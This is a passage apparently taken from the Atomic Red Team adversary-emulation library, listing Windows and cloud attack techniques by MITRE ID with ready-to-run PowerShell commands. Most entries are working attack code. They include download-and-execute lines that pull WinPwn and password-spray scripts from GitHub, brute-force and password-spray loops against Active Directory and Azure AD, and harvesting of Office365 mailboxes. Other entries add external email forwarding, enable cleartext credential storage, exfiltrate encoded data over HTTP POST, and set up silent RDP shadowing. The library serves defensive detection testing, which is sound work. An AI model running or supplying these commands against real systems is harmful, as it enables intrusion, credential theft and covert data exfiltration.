wmic /node: "$machine" process call create "regsvr32.exe /i #{remote_drive_letter}:#{exe_remote_folder}"}
else
{echo $machine >> "$offline_list"}}
T1105
powershell
elevated
windows
File Download with Sqlcmd.exe
Ingress Tool Transfer
One of the windows packages 'Sqlcmd.exe' can be abused to download malicious files from C2 servers This Atomic will exhibit the similar behavior by downloading a sample zip file from src directory of this Technique folder via GitHub URL
sqlcmd -i #{remote_url} -o #{local_file_path}
T1105
powershell
elevated
windows
Windows push file using scp.exe
Ingress Tool Transfer
This test simulates pushing files using SCP on a Windows environment.
# Check if the folder exists, create it if it doesn't
$folderPath = "#{local_path}"
if (-Not (Test-Path -Path $folderPath)) {
New-Item -Path $folderPath -ItemType Directory
}
# Create the file
$filePath = Join-Path -Path $folderPath -ChildPath "#{file_name}"
New-Item -Path $filePath -ItemType File -Force
Write-Output "File created: $filePath"
# Attack command
scp.exe #{local_path}\#{file_name} #{username}@#{remote_host}:#{remote_path}
T1105
powershell
elevated
windows
Windows pull file using scp.exe
Ingress Tool Transfer
This test simulates pulling files using SCP on a Windows environment.
scp.exe #{username}@#{remote_host}:#{remote_path} #{local_path}
T1105
powershell
elevated
windows
Windows push file using sftp.exe
Ingress Tool Transfer
This test simulates pushing files using SFTP on a Windows environment.
# Check if the folder exists, create it if it doesn't
$folderPath = "#{local_path}"
if (-Not (Test-Path -Path $folderPath)) {
New-Item -Path $folderPath -ItemType Directory
}
# Create the file
$filePath = Join-Path -Path $folderPath -ChildPath "#{file_name}"
New-Item -Path $filePath -ItemType File -Force
Write-Output "File created: $filePath"
# Attack command
echo "put #{local_path}\#{file_name}" | sftp #{username}@#{remote_host}:#{remote_path}
T1105
powershell
elevated
windows
Windows pull file using sftp.exe
Ingress Tool Transfer
This test simulates pulling files using SFTP on a Windows environment.
sftp.exe #{username}@#{remote_host}:#{remote_path} #{local_path}
T1105
powershell
windows
Download a file with OneDrive Standalone Updater
Ingress Tool Transfer
Uses OneDrive Standalone Updater to download a file from a specified URL by setting up the required registry keys. This technique can be used to download files without executing anomalous executables. Reference: https://lolbas-project.github.io/lolbas/Binaries/OneDriveStandaloneUpdater/
if (-not (Test-Path "#{onedrive_path}")) {
Write-Host "OneDriveStandaloneUpdater.exe not found at #{onedrive_path}. Test cannot continue."
exit 1
}
New-Item -Path "HKCU:\Software\Microsoft\OneDrive\UpdateOfficeConfig" -Force | Out-Null
Set-ItemProperty -Path "HKCU:\Software\Microsoft\OneDrive\UpdateOfficeConfig" -Name "UpdateRingSettingURLFromOC" -Value "#{remote_url}" -Type String -Force
Set-ItemProperty -Path "HKCU:\Software\Microsoft\OneDrive\UpdateOfficeConfig" -Name "ODSUUpdateXMLUrlFromOC" -Value "#{remote_url}" -Type String -Force
Set-ItemProperty -Path "HKCU:\Software\Microsoft\OneDrive\UpdateOfficeConfig" -Name "UpdateXMLUrlFromOC" -Value "#{remote_url}" -Type String -Force
Set-ItemProperty -Path "HKCU:\Software\Microsoft\OneDrive\UpdateOfficeConfig" -Name "UpdateOfficeConfigTimestamp" -Value 99999999999 -Type QWord -Force
# Run OneDrive Standalone Updater
& "#{onedrive_path}"
T1106
powershell
windows
WinPwn - Get SYSTEM shell - Pop System Shell using CreateProcess technique
Native API
Get SYSTEM shell - Pop System Shell using CreateProcess technique via function of WinPwn
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/Get-System-Techniques/master/CreateProcess/Get-CreateProcessSystem.ps1')
T1106
powershell
windows
WinPwn - Get SYSTEM shell - Bind System Shell using CreateProcess technique
Native API
Get SYSTEM shell - Bind System Shell using CreateProcess technique via function of WinPwn
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/Get-System-Techniques/master/CreateProcess/Get-CreateProcessSystemBind.ps1')
T1106
powershell
windows
WinPwn - Get SYSTEM shell - Pop System Shell using NamedPipe Impersonation technique
Native API
Get SYSTEM shell - Pop System Shell using NamedPipe Impersonation technique via function of WinPwn
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/Get-System-Techniques/master/NamedPipe/NamedPipeSystem.ps1')
T1106
powershell
windows
Run Shellcode via Syscall in Go
Native API
Runs shellcode in the current running process via a syscall. Steps taken with this technique 1. Allocate memory for the shellcode with VirtualAlloc setting the page permissions to Read/Write 2. Use the RtlCopyMemory macro to copy the shellcode to the allocated memory space 3. Change the memory page permissions to Execute/Read with VirtualProtect 4. Use syscall to execute the entrypoint of the shellcode - PoC Credit: (https://github.com/Ne0nd0g/go-shellcode#syscall)
$PathToAtomicsFolder\T1106\bin\x64\syscall.exe -debug
T1110.001
powershell
windows
Brute Force Credentials of single Active Directory domain user via LDAP against domain controller (NTLM or Kerberos)
Password Guessing
Attempt to brute force Active Directory domain user on a domain controller, via LDAP, with NTLM or Kerberos
if ("#{auth}".ToLower() -NotIn @("ntlm","kerberos")) {
Write-Host "Only 'NTLM' and 'Kerberos' auth methods are supported"
exit 1
}
[System.Reflection.Assembly]::LoadWithPartialName("System.DirectoryServices.Protocols") | Out-Null
$di = new-object System.DirectoryServices.Protocols.LdapDirectoryIdentifier("#{domain}",389)
$passwordList = Get-Content -Path "#{passwords_path}"
foreach ($password in $passwordList){
$credz = new-object System.Net.NetworkCredential("#{user}", $password, "#{domain}")
$conn = new-object System.DirectoryServices.Protocols.LdapConnection($di, $credz, [System.DirectoryServices.Protocols.AuthType]::#{auth})
try {
Write-Host " [-] Attempting ${password} on account #{user}."
$conn.bind()
# if credentials aren't correct, it will break just above and goes into catch block, so if we're here we can display success
Write-Host " [!] #{user}:${password} are valid credentials!"
} catch {
Write-Host $_.Exception.Message
}
}
Write-Host "End of bruteforce"
T1110.001
powershell
azure-ad
Brute Force Credentials of single Azure AD user
Password Guessing
Attempt to brute force Azure AD user via AzureAD powershell module.
Import-Module -Name AzureAD
$passwords = "#{passwords}".split("{`n}")
foreach($password in $passwords) {
$PWord = ConvertTo-SecureString -String "$password" -AsPlainText -Force
$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "#{username}", $Pword
try {
Write-Host " [-] Attempting ${password} on account #{username}."
Connect-AzureAD -Credential $Credential 2>&1> $null
# if credentials aren't correct, it will break just above and goes into catch block, so if we're here we can display success
Write-Host " [!] #{username}:${password} are valid credentials!`r`n"
break
} catch {
Write-Host " [-] #{username}:${password} invalid credentials.`r`n"
}
}
Write-Host "End of bruteforce"
T1110.001
powershell
windows
Password Brute User using Kerbrute Tool
Password Guessing
Bruteforce a single user's password from a wordlist
cd "PathToAtomicsFolder\..\ExternalPayloads"
.\kerbrute.exe bruteuser --dc #{domaincontroller} -d #{domain} $env:temp\bruteuser.txt TestUser1
T1110.001
powershell
windows
ESXi - Brute Force Until Account Lockout
Password Guessing
An adversary may attempt to brute force the password of privilleged account for privilege escalation. In the process, the TA may lock the account, which can be used for detection. [Reference](https://news.sophos.com/en-us/2022/07/14/blackcat-ransomware-attacks-not-merely-a-byproduct-of-bad-luck/#:~:text=A%20ransomware%20group%20attacking%20large,internal%20systems%20after%20establishing%20a)
$lockout_threshold = [int]"#{lockout_threshold}"
for ($var = 1; $var -le $lockout_threshold; $var++) {
#{plink_file} -ssh "#{vm_host}" -l root -pw f0b443ae-9565-11ee-b9d1-0242ac120002
}
T1110.003
powershell
windows
Password Spray (DomainPasswordSpray)
Password Spraying
Perform a domain password spray using the DomainPasswordSpray tool. It will try a single password against all users in the domain https://github.com/dafthack/DomainPasswordSpray
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (IWR 'https://raw.githubusercontent.com/dafthack/DomainPasswordSpray/94cb72506b9e2768196c8b6a4b7af63cebc47d88/DomainPasswordSpray.ps1' -UseBasicParsing); Invoke-DomainPasswordSpray -Password Spring2017 -Domain #{domain} -Force
T1110.003
powershell
windows
Password spray all Active Directory domain users with a single password via LDAP against domain controller (NTLM or Kerberos)
Password Spraying
Attempt to brute force all Active Directory domain users with a single password (called "password spraying") on a domain controller, via LDAP, with NTLM or Kerberos Prerequisite: AD RSAT PowerShell module is needed and it must run under a domain user (to fetch the list of all domain users)
if ("#{auth}".ToLower() -NotIn @("ntlm","kerberos")) {
Write-Host "Only 'NTLM' and 'Kerberos' auth methods are supported"
exit 1
}
$DomainUsers = Get-ADUser -LDAPFilter '(&(sAMAccountType=805306368)(!(UserAccountControl:1.2.840.113556.1.4.803:=2)))' -Server #{domain} | Select-Object -ExpandProperty SamAccountName
[System.Reflection.Assembly]::LoadWithPartialName("System.DirectoryServices.Protocols") | Out-Null
$di = new-object System.DirectoryServices.Protocols.LdapDirectoryIdentifier("#{domain}",389)
$DomainUsers | Foreach-Object {
$user = $_
$password = '#{password}'
$credz = new-object System.Net.NetworkCredential($user, $password, "#{domain}")
$conn = new-object System.DirectoryServices.Protocols.LdapConnection($di, $credz, [System.DirectoryServices.Protocols.AuthType]::#{auth})
try {
Write-Host " [-] Attempting ${password} on account ${user}."
$conn.bind()
# if credentials aren't correct, it will break just above and goes into catch block, so if we're here we can display success
Write-Host " [!] ${user}:${password} are valid credentials!"
} catch {
Write-Host $_.Exception.Message
}
}
Write-Host "End of password spraying"
T1110.003
powershell
azure-ad
Password spray all Azure AD users with a single password
Password Spraying
Attempt to brute force all Azure AD users with a single password (called "password spraying") via AzureAD Powershell module. Valid credentials are only needed to fetch the list of Azure AD users.
Import-Module -Name AzureAD
$PWord = ConvertTo-SecureString -String "#{valid_password}" -AsPlainText -Force
$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "#{valid_username}", $Pword
Connect-AzureAD -Credential $Credential > $null
($Users = Get-AzureADUser -All $true) > $null
Disconnect-AzureAD > $null
$PWord = ConvertTo-SecureString -String "#{password}" -AsPlainText -Force
$Users | Foreach-Object {
$user = $_.UserPrincipalName
$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "$user", $Pword
try {
Write-Host " [-] Attempting #{password} on account ${user}."
Connect-AzureAD -Credential $Credential 2>&1> $null
# if credentials aren't correct, it will break just above and goes into catch block, so if we're here we can display success
Write-Host " [!] ${user}:#{password} are valid credentials!`r`n"
Disconnect-AzureAD > $null
} catch {
Write-Host " [-] ${user}:#{password} invalid credentials.`r`n"
}
}
Write-Host "End of password spraying"
T1110.003
powershell
windows
WinPwn - DomainPasswordSpray Attacks
Password Spraying
DomainPasswordSpray Attacks technique via function of WinPwn
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
domainpassspray -consoleoutput -noninteractive -emptypasswords
T1110.003
powershell
windows
Password Spray Invoke-DomainPasswordSpray Light
Password Spraying
Perform a domain password spray using the same core method of the [DomainPasswordSpray tool](https://github.com/dafthack/DomainPasswordSpray) but without all the extra code that makes the script get blocked by many AVs. This atomic test will attempt a single password against all users in a password list at $env:Temp\usersdpsLight.txt. You can create this file manually or with the automated prereq_command. The prereq_command will limit the user list to 200 users by default to help you avoid massive account lockout.
function Invoke-dpsLight ($Password, $userlist) {
$users = Get-Content $userlist
$Domain = "LDAP://" + ([ADSI]"").distinguishedName
foreach ($User in $users) {
$Domain_check = New-Object System.DirectoryServices.DirectoryEntry($Domain, $User, $Password)
if ($Domain_check.name -ne $null) {
Write-Host -ForegroundColor Green "Password found for User:$User Password:$Password"
}
else { Write-Host ". " -NoNewline}
}
Write-Host -ForegroundColor green "Finished"
}
Invoke-dpsLight "#{password}" $env:Temp\usersdpsLight.txt
T1110.003
powershell
azure-ad
Password Spray Microsoft Online Accounts with MSOLSpray (Azure/O365)
Password Spraying
This test attempts to brute force a list of Microsoft Online (Azure/O365) users with a single password via the MSOLSpray Powershell module.
import-module "PathToAtomicsFolder\..\ExternalPayloads\MSOLSpray.ps1"
Invoke-MSOLSpray -UserList "#{user_list}" -Password "#{password}"
T1110.003
powershell
windows
Password Spray using Kerbrute Tool
Password Spraying
Test a single password against a list of users
cd "PathToAtomicsFolder\..\ExternalPayloads"
.\kerbrute.exe passwordspray --dc #{domaincontroller} -d #{domain} "PathToAtomicsFolder\..\ExternalPayloads\passwordspray.txt" password132
T1110.004
powershell
windows
Brute Force:Credential Stuffing using Kerbrute Tool
Credential Stuffing
Will read username and password combos from a file or stdin (format username:password) and perform a bruteforce attack
cd "PathToAtomicsFolder\..\ExternalPayloads"
.\kerbrute.exe bruteforce --dc #{domaincontroller} -d #{domain} "PathToAtomicsFolder\..\ExternalPayloads\bruteforce.txt"
T1112
powershell
elevated
windows
Use Powershell to Modify registry to store logon credentials
Modify Registry
Sets registry key using Powershell that will tell windows to store plaintext passwords (making the system vulnerable to clear text / cleartext password dumping). Open Registry Editor to view the modified entry in HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest.
Set-ItemProperty -Force -Path 'HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest' -Name 'UseLogonCredential' -Value '1' -ErrorAction Ignore
T1112
powershell
windows
Add domain to Trusted sites Zone
Modify Registry
Attackers may add a domain to the trusted site zone to bypass defenses. Doing this enables attacks such as c2 over office365. Upon execution, details of the new registry entries will be displayed. Additionally, open Registry Editor to view the modified entry in HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\. https://www.blackhat.com/docs/us-17/wednesday/us-17-Dods-Infecting-The-Enterprise-Abusing-Office365-Powershell-For-Covert-C2.pdf
$key= "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\Domains\#{bad_domain}\"
$name ="bad-subdomain"
new-item $key -Name $name -Force
new-itemproperty $key$name -Name https -Value 2 -Type DWORD;
new-itemproperty $key$name -Name http -Value 2 -Type DWORD;
new-itemproperty $key$name -Name * -Value 2 -Type DWORD;
T1112
powershell
windows
Javascript in registry
Modify Registry
Upon execution, a javascript block will be placed in the registry for persistence. Additionally, open Registry Editor to view the modified entry in HKCU:\Software\Microsoft\Windows\CurrentVersion\Internet Settings.
New-ItemProperty "HKCU:\Software\Microsoft\Windows\CurrentVersion\Internet Settings" -Name T1112 -Value "<script>"
T1112
powershell
windows
Change Powershell Execution Policy to Bypass
Modify Registry
Attackers need to change the powershell execution policy in order to run their malicious powershell scripts. They can either specify it during the execution of the powershell script or change the registry value for it.
Set-ExecutionPolicy -ExecutionPolicy Bypass -Scope LocalMachine
T1112
powershell
elevated
windows
BlackByte Ransomware Registry Changes - Powershell
Modify Registry
This task recreates the steps taken by BlackByte ransomware before it worms to other machines via Powershell. See "Preparing to Worm" section: https://redcanary.com/blog/blackbyte-ransomware/ The steps are as follows: <ol> <li>1. Elevate Local Privilege by disabling UAC Remote Restrictions</li> <li>2. Enable OS to share network connections between different privilege levels</li> <li>3. Enable long path values for file paths, names, and namespaces to ensure encryption of all file names and paths</li> </ol> The registry keys and their respective values will be created upon successful execution.
New-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" -Name LocalAccountTokenFilterPolicy -PropertyType DWord -Value 1 -Force
New-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" -Name EnableLinkedConnections -PropertyType DWord -Value 1 -Force
New-ItemProperty "HKLM:\SYSTEM\CurrentControlSet\Control\FileSystem" -Name LongPathsEnabled -PropertyType DWord -Value 1 -Force
T1112
powershell
elevated
windows
Disable Windows CMD application
Modify Registry
Modify the registry of the currently logged in user using reg.exe via cmd console to disable the windows CMD application. See example how Agent Tesla malware abuses this technique: https://any.run/report/ea4ea08407d4ee72e009103a3b77e5a09412b722fdef67315ea63f22011152af/a866d7b1-c236-4f26-a391-5ae32213dfc4#registry
New-ItemProperty -Path "HKCU:\Software\Policies\Microsoft\Windows\System" -Name DisableCMD -Value 1
T1112
powershell
elevated
windows
Snake Malware Registry Blob
Modify Registry
The following Atomic Test creates a registry blob in HKLM:\SOFTWARE\Classes\.wav\OpenWithProgIds, which is related to Snake Malware. Per the report, upon execution, Snake's WerFault.exe will attempt to decrypt an encrypted blob within the Windows registry that is typically found at HKLM:\SOFTWARE\Classes\.wav\OpenWithProgIds. The encrypted data includes the AES key, IV, and path that is used to find and decrypt the file containing Snake's kernel driver and kernel driver loader.
$typicalPath = "HKLM:\SOFTWARE\Classes\.wav\OpenWithProgIds"; $randomBytes = New-Object Byte[] 0x1000; (New-Object Random).NextBytes($randomBytes); New-ItemProperty -Path $typicalPath -Name "AtomicSnake" -Value $randomBytes -PropertyType Binary -Force | Out-Null
T1112
powershell
windows
Modify Internet Zone Protocol Defaults in Current User Registry - PowerShell
Modify Registry
This test simulates an adversary modifying the Internet Zone Protocol Defaults in the registry of the currently logged-in user using PowerShell. Such modifications can be indicative of an adversary attempting to weaken browser security settings. To verify the effects of the test: 1. Open the Registry Editor (regedit.exe). 2. Navigate to "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProtocolDefaults". 3. Check for the presence of the "http" and "https" DWORD values set to 0. Or run: ``powershell Get-ItemProperty -Path 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProtocolDefaults' | Select-Object http,https ``
# Set the registry values for http and https to 0
Set-ItemProperty -Path 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProtocolDefaults' -Name 'http' -Value 0
Set-ItemProperty -Path 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProtocolDefaults' -Name 'https' -Value 0
T1112
powershell
elevated
windows
Setting Shadow key in Registry for RDP Shadowing
Modify Registry
Microsoft Remote Desktop Protocol (RDP) supports a “shadowing” feature and RDP is available in all Windows Server Operating Systems and the business editions of end-user Windows versions. In order to use the RDP shadowing feature, the Remote Desktop Services (TermService) service needs to be running (which it does by default), a rule needs to be enabled in the Windows Firewall and in case of stealth reasons, a setting needs to be configured to not prompt the user for permission when they are being shadowed. In order to configure RDP shadowing session in a quiet mode. The registry of a remote system can be updated using several protocols, depending on the accessible ports and configuration of the services listening on those ports. Our aim is to set the Shadow value in HKLM\Software\Policies\Microsoft\Windows NT\Terminal Services on the remote machine to 2, which allows us to both view and control the session without the user being informed. [Reference](https://blog.bitsadmin.com/spying-on-users-using-rdp-shadowing)
$s= New-CimSession -Computername #{server_name} -SessionOption (New-CimSessionOption -Protocol Dcom)
Get-CimInstance -Namespace ROOT\StandardCimv2 -ClassName MSFT_NetFirewallRule -Filter 'DisplayName="Remote Desktop - Shadow (TCP-In)"' -CimSession $s | Invoke-CimMethod -MethodName Enable
Invoke-CimMethod -ClassName StdRegProv -MethodName SetDWORDValue -Arguments @{hDefKey=[uint32]2147483650; sSubKeyName="Software\Policies\Microsoft\Windows NT\Terminal Services"; sValueName="shadow"; uValue=[uint32]2} -CimSession $s
T1113
powershell
windows
Windows Screencapture
Screen Capture
Use Psr.exe binary to collect screenshots of user display. Test will do left mouse click to simulate user behaviour
cmd /c start /b psr.exe /start /output #{output_file} /sc 1 /gui 0 /stopevent 12
Add-Type -MemberDefinition '[DllImport("user32.dll")] public static extern void mouse_event(int flags, int dx, int dy, int cButtons, int info);' -Name U32 -Namespace W;
[W.U32]::mouse_event(0x02 -bor 0x04 -bor 0x01, 0, 0, 0, 0);
cmd /c "timeout #{recording_time} > NULL && psr.exe /stop"
T1113
powershell
windows
Windows Screen Capture (CopyFromScreen)
Screen Capture
Take a screen capture of the desktop through a call to the [Graphics.CopyFromScreen] .NET API. [Graphics.CopyFromScreen]: https://docs.microsoft.com/en-us/dotnet/api/system.drawing.graphics.copyfromscreen
Add-Type -AssemblyName System.Windows.Forms
$screen = [Windows.Forms.SystemInformation]::VirtualScreen
$bitmap = New-Object Drawing.Bitmap $screen.Width, $screen.Height
$graphic = [Drawing.Graphics]::FromImage($bitmap)
$graphic.CopyFromScreen($screen.Left, $screen.Top, 0, 0, $bitmap.Size)
$bitmap.Save("#{output_file}")
T1113
powershell
elevated
windows
Windows Recall Feature Enabled - DisableAIDataAnalysis Value Deleted
Screen Capture
Detects the enabling of the Windows Recall feature via registry manipulation. Windows Recall can be enabled by deleting the existing "DisableAIDataAnalysis" registry value. Adversaries may enable Windows Recall as part of post-exploitation discovery and collection activities. This rule assumes that Recall is already explicitly disabled on the host, and subsequently enabled by the adversary. - https://learn.microsoft.com/en-us/windows/client-management/manage-recall - https://learn.microsoft.com/en-us/windows/client-management/mdm/policy-csp-windowsai#disableaidataanalysis
reg add "HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\WindowsAI" /v DisableAIDataAnalysis /t REG_DWORD /d 0 /f
reg delete "HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\WindowsAI" /v DisableAIDataAnalysis /f
T1113
powershell
windows
RDP Bitmap Cache Extraction via bmc-tools
Screen Capture
Simulates an attacker extracting the RDP bitmap cache using the ANSSI "bmc-tools.py" script. This test requires valid RDP bitmap cache files to exist on the system (usually created after an outgoing RDP connection is made).
$url = 'https://raw.githubusercontent.com/ANSSI-FR/bmc-tools/master/bmc-tools.py'
$toolsDir = "$env:TEMP\bmc-tools.py"
# create output directory
New-Item -ItemType Directory -Path #{output_dir} -Force | Out-Null
# python script download
& curl.exe -L $url --output $toolsDir
# execution step
if (Test-Path $toolsDir) { python $toolsDir -s "#{cache_path}" -d #{output_dir} -b }
T1114.001
powershell
windows
Email Collection with PowerShell Get-Inbox
Local Email Collection
Search through local Outlook installation, extract mail, compress the contents, and saves everything to a directory for later exfiltration. Successful execution will produce stdout message stating "Please be patient, this may take some time...". Upon completion, final output will be a mail.csv file. Note: Outlook is required, but no email account necessary to produce artifacts.
powershell -executionpolicy bypass -command "#{file_path}\Get-Inbox.ps1" -file #{output_file}
T1114.002
powershell
office-365
Office365 - Remote Mail Collected
Remote Email Collection
Create and register an entra application that downloads emails from a tenant's Office 365 mailboxes using the Microsoft Graph API app-only access. This can be used by an adversary to collect an organization's sensitive information.
$ss = ConvertTo-SecureString "#{password}" -AsPlainText -Force
$cred = New-Object PSCredential -ArgumentList '#{username}', $ss
$param = @{
Credential = $cred
Force = $true
}
$null = Connect-AzAccount @param
$token = (Get-AzAccessToken -ResourceTypeName MSGraph -ErrorAction Stop).token
$cert = New-SelfSignedCertificate -Subject "CN=PowerShell Application" -CertStoreLocation "Cert:\CurrentUser\My" -KeyExportPolicy Exportable -KeySpec Signature -KeyLength 2048 -KeyAlgorithm RSA -HashAlgorithm SHA256
$reqResourceAccess = ( @{ "resourceAccess" = (@{"id"= "570282fd-fa5c-430d-a7fd-fc8dc98a9dca"; "type"= "Scope"}, @{ "id"= "7427e0e9-2fba-42fe-b0c0-848c9e6a8182"; "type"= "Scope"}, @{"id"= "37f7f235-527c-4136-accd-4a02d197296e"; "type"= "Scope"}, @{"id"= "14dad69e-099b-42c9-810b-d002981feec1"; "type"= "Scope"}, @{ "id"= "e1fe6dd8-ba31-4d61-89e7-88639da4683d"; "type"= "Scope"}, @{ "id"= "810c84a8-4a9e-49e6-bf7d-12d183f40d01"; "type"= "Role"}); "resourceAppId" = "00000003-0000-0000-c000-000000000000" })
connect-mggraph -AccessToken $token
$context = Get-MgContext
$users = get-MgUser
$app = New-MgApplication -DisplayName "T1114.002 Atomic Test #1 - Office365 - Remote Email Collection" -RequiredResourceAccess $reqResourceAccess -Web @{ RedirectUris="http://localhost"; } -KeyCredentials @(@{ Type="AsymmetricX509Cert"; Usage="Verify"; Key=$cert.RawData })
New-MgServicePrincipal -AppId $app.appId -AdditionalProperties @{} | Out-Null
$resourceSPN = Get-MgServicePrincipal -Filter "AppId eq '$($app.AppId)'"
$graphApiApp = Get-MgServicePrincipal -Filter "DisplayName eq 'Microsoft Graph'"
$mailRole = $graphApiApp.AppRoles|Where-Object Value -Eq "Mail.Read"
New-MgServicePrincipalAppRoleAssignment -ServicePrincipalId $resourceSPN.Id -PrincipalId $resourceSPN.Id -ResourceId $graphApiApp.id -AppRoleId $mailRole.Id
$mailbox1 = "#{1st_target_mailbox}"
$mailbox2 = "#{2nd_target_mailbox}"
$mailbox3 = "#{3rd_target_mailbox}"
[System.Collections.ArrayList]$selectUsers = @()
foreach ($user in $users) {if (($user.Mail -eq $mailbox1) -Or ($user.Mail -eq $mailbox2) -Or ($user.Mail -eq $mailbox3)){$selectUsers.Add($user.id)}}
connect-mggraph -ClientId $app.AppId -TenantId $context.TenantId -CertificateName $cert.Subjectname.Name
foreach ($user in $selectUsers) { $url= "https://graph.microsoft.com/v1.0/users/$($user)/messages" ; Invoke-MgGraphRequest -Uri $url -Method GET -OutputType PSObject}
T1114.003
powershell
office-365
Office365 - Email Forwarding
Email Forwarding Rule
Creates a new Inbox Rule to forward emails to an external user via the "ForwardTo" property of the New-InboxRule Powershell cmdlet.
$secure_pwd = "#{password}" | ConvertTo-SecureString -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential -ArgumentList "#{username}", $secure_pwd
Connect-ExchangeOnline -Credential $creds
New-InboxRule -Name "#{rule_name}" -ForwardTo "#{forwarding_email}"
T1115
powershell
windows
Execute Commands from Clipboard using PowerShell
Clipboard Data
Utilize PowerShell to echo a command to clipboard and execute it
echo Get-Process | clip
Get-Clipboard | iex
T1115
powershell
windows
Collect Clipboard Data via VBA
Clipboard Data
This module copies the data stored in the user's clipboard and writes it to a file, $env:TEMP\atomic_T1115_clipboard_data.txt
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
Set-Clipboard -value "Atomic T1115 Test, grab data from clipboard via VBA"
IEX (iwr "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1" -UseBasicParsing)
Invoke-Maldoc -macroFile "PathToAtomicsFolder\T1115\src\T1115-macrocode.txt" -officeProduct "Word" -sub "GetClipboard"
T1119
powershell
windows
Automated Collection PowerShell
Automated Collection
Automated Collection. Upon execution, check the users temp directory (%temp%) for the folder T1119_powershell_collection to see what was collected.
New-Item -Path $env:TEMP\T1119_powershell_collection -ItemType Directory -Force | Out-Null
Get-ChildItem -Recurse -Include *.doc | % {Copy-Item $_.FullName -destination $env:TEMP\T1119_powershell_collection}
T1119
powershell
windows
Recon information for export with PowerShell
Automated Collection
collect information for exfiltration. Upon execution, check the users temp directory (%temp%) for files T1119_*.txt to see what was collected.
Get-Service > $env:TEMP\T1119_1.txt
Get-ChildItem Env: > $env:TEMP\T1119_2.txt
Get-Process > $env:TEMP\T1119_3.txt
T1120
powershell
windows
Win32_PnPEntity Hardware Inventory
Peripheral Device Discovery
Perform peripheral device discovery using Get-WMIObject Win32_PnPEntity
Get-WMIObject Win32_PnPEntity | Format-Table Name, Description, Manufacturer > $env:TEMP\T1120_collection.txt
$Space,$Heading,$Break,$Data = Get-Content $env:TEMP\T1120_collection.txt
@($Heading; $Break; $Data |Sort-Object -Unique) | ? {$_.trim() -ne "" } |Set-Content $env:TEMP\T1120_collection.txt
T1120
powershell
windows
WinPwn - printercheck
Peripheral Device Discovery
Search for printers / potential vulns using printercheck function of WinPwn
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
printercheck -noninteractive -consoleoutput
T1120
powershell
windows
Get Printer Device List via PowerShell Command
Peripheral Device Discovery
This test uses PowerShell to list printers on a Windows system, demonstrating a discovery technique attackers might use to gather details on connected devices. Using Get-Printer, they can view information on all available printers, identifying potential devices for further targeting.
Get-Printer
T1123
powershell
windows
using device audio capture commandlet
Audio Capture
Uses AudioDeviceCmdlets to set the default recording device and simulate audio capture. Module repo: [AudioDeviceCmdlets](https://github.com/frgnca/AudioDeviceCmdlets)
$mic = Get-AudioDevice -Recording
Set-AudioDevice -ID $mic.ID
Start-Sleep -Seconds 5
T1124
powershell
windows
System Time Discovery - PowerShell
System Time Discovery
Identify the system time via PowerShell. Upon execution, the system time will be displayed.
Get-Date
T1132.001
powershell
windows
XOR Encoded data.
Standard Encoding
XOR encodes the data with a XOR key. Reference - https://gist.github.com/loadenmb/8254cee0f0287b896a05dcdc8a30042f
$plaintext = ([system.Text.Encoding]::UTF8.getBytes("#{plaintext}"))
$key = "#{key}"
$cyphertext = @();
for ($i = 0; $i -lt $plaintext.Count; $i++) {
$cyphertext += $plaintext[$i] -bxor $key[$i % $key.Length];
}
$cyphertext = [system.Text.Encoding]::UTF8.getString($cyphertext)
[System.Net.ServicePointManager]::Expect100Continue = $false
Invoke-WebRequest -Uri #{destination_url} -Method POST -Body $cyphertext -DisableKeepAlive
T1133
powershell
elevated
windows
Running Chrome VPN Extensions via the Registry 2 vpn extension
External Remote Services
Running Chrome VPN Extensions via the Registry install 2 vpn extension, please see "T1133\src\list of vpn extension.txt" to view complete list
$extList = #{extension_id}
foreach ($extension in $extList) {
New-Item -Path HKLM:\Software\Wow6432Node\Google\Chrome\Extensions\$extension -Force
New-ItemProperty -Path "HKLM:\Software\Wow6432Node\Google\Chrome\Extensions\$extension" -Name "update_url" -Value "https://clients2.google.com/service/update2/crx" -PropertyType "String" -Force}
Start chrome
Start-Sleep -Seconds 30
Stop-Process -Name "chrome"
T1134.001
powershell
elevated
windows
Named pipe client impersonation
Token Impersonation/Theft
Uses PowerShell and Empire's [GetSystem module](https://github.com/BC-SECURITY/Empire/blob/v3.4.0/data/module_source/privesc/Get-System.ps1). The script creates a named pipe, and a service that writes to that named pipe. When the service connects to the named pipe, the script impersonates its security context. When executed successfully, the test displays the domain and name of the account it's impersonating (local SYSTEM). Reference: https://blog.cobaltstrike.com/2014/04/02/what-happens-when-i-type-getsystem/
